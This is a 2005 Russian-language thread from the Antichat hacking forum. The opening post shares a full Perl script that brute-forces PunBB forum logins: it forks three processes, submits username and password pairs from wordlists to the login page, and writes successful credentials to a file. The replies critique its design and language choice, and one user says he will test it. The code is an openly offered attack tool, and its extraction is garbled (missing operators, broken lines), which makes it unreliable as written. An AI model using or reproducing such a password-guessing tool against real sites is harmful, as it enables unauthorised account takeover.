Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Брут на перле для punbb (https://forum.antichat.xyz/showthread.php?t=8997)

ShAnKaR 23.08.2005 20:12

Брут на перле для punbb
 
брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################
PHP код:

#!/usr/bin/perl
use LWP;
 
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print(
"use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
 
$url=$ARGV[0];
 
my $ua LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);

$userfile=$ARGV[1]; 
$file=$ARGV[2];  

my ($pid,$pid2); 
$|=
1

if((
$pid=fork()) && ($pid2=fork())){
 
brut(0,$userfile,$file,$url); 

elsif($pid && defined($pid2)){
 
brut(1,$userfile,$file,$url);
 }
 
elsif(defined($pid)){ 
brut(2,$userfile,$file,$url);
 }
 else{ 
die(
"error fork()\n");
 }  

sub brut

$str=shift
$userfile=shift
$file=shift
$url=shift

open(IN,"<$file") or die("can`t open wordlist\n"); 
my @arr=<IN>;
 
close(IN); 
open(IN,"<$userfile");
 
my @ar=<IN>;
 
close(IN); 

$q=$str*$#arr/3;
 
$q1=($str+1)*$#arr/3;  

if($str==2){ 
splice(@arr,0,$q); }
 
elsif($str==1){
 
splice(@arr,0,$q);
 
splice(@arr,$q1,$#arr); }
 
elsif($str==0){ 
splice(@arr,$q1,$#arr); }

 
print "$str: wordlist loaded\n";

 for(
my $a=$a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){

$user=$ar[$u];
$user=~s/\n$//g;

 
$pass=$arr[$a]; 
print 
$str.":".$pass;
 
$pass=~ s/\n$//;

 
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
 
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login'
$req->content_type('application/x-www-form-urlencoded');
 
$req->content($data); 
$res $ua->request($req);
 
$content=$res->content;

 if(
$content=~ m/Logged in successfully/gi){

 print 
"######################\n";
 print 
"USER :$user\n"; print "PASS :$pass\n";
 print 
"######################\n";
 
open(OUT,">>out-punbb.txt");
 print 
OUT $user.":".$pass."\n";
 
close(OUT); 
}}}} 


qBiN 23.08.2005 20:50

Я из-за цветов код увидеть не могу...

ais+ 24.08.2005 04:15

Сохранил.
Утром будет тестится.

KEZ 24.08.2005 05:05

Вообще неплохо.

1) LWP лучше не использовать, вручную строить HTTP запрос
2)
Цитата:

if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
Однако перл ты знаешь хорошо...

3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.

4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))

nerezus 24.08.2005 08:59

Цитата:

1) Lwp лучше не использовать, вручную строить Http запрос
Вобще-то, именно Lwpследует использовать. Т.к. правило хорошого тона.
//отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.

Цитата:

3) перл бля этих делов не особо подходит
имхо он для этого идеален.
Приведи довод в опровержение, а? ;)

KEZ 25.08.2005 02:11

Вашу мать,с кем я общаюсь? ))
Может вам обьяснить почему ненужно использовать Delphi?
Давайте тогда сразу будем все делать в виде .BAT файлов!

Цитата:

мхо он для этого идеален.
Приведи довод в опровержение, а?
А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ?

nerezus 25.08.2005 09:24

Цитата:

А ты знаешь что перл не везде есть?
ну вообще-то gcc есть еще реже

Цитата:

А почему все что делается под линукс - делается ПРОСТО под gcc ?
да-да-да, а FreeBSD сделана майкрософтом...


Время: 00:14